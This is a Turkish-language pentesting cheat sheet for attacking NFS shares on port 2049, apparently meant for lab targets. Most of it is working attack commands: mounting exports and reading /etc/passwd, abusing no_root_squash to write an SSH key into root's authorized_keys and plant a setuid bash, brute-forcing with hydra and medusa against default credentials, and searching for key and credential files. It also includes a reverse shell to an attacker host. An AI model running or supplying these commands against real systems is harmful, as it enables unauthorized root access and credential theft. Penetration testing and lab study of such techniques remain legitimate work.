2049 - Pentesting NFS Service

NFS fileshare

NFS paylaşımı no_root_squash veya everyone export ile root dosya yazımı/okuma verir. Hedef lab IP’si üzerinde komutları 2049 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. showmount.

2. Mount.

3. root squash durumu.

4. SSH key / cron yaz.

Keşif

nmap -Pn -sV -p111,2049 --script nfs* TARGET

showmount -e TARGET

rpcinfo -p TARGET

Mount

mount -t nfs TARGET:/ /mnt

ls -la /mnt

cat /mnt/etc/passwd

Abuse

echo 'ssh-rsa AAAA...' >> /mnt/root/.ssh/authorized_keys

cp /bin/bash /mnt/tmp/bash; chmod u+s /mnt/tmp/bash

Derin enum

NFS Service için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p2049 TARGET

nmap -Pn -p2049 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:2049' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',2049));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → NFS Service

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 2049 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 2049

nmap -p2049 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit NFS

msfconsole -q -x 'search NFS; exit'

nuclei -u https://TARGET:2049 -t cves/ -silent -severity || true

nuclei -u http://TARGET:2049 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 2049

printf '
' | timeout 3 nc -nv TARGET 2049

curl -vk --http1.0 http://TARGET:2049/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

showmount → mount → no_root_squash → root ssh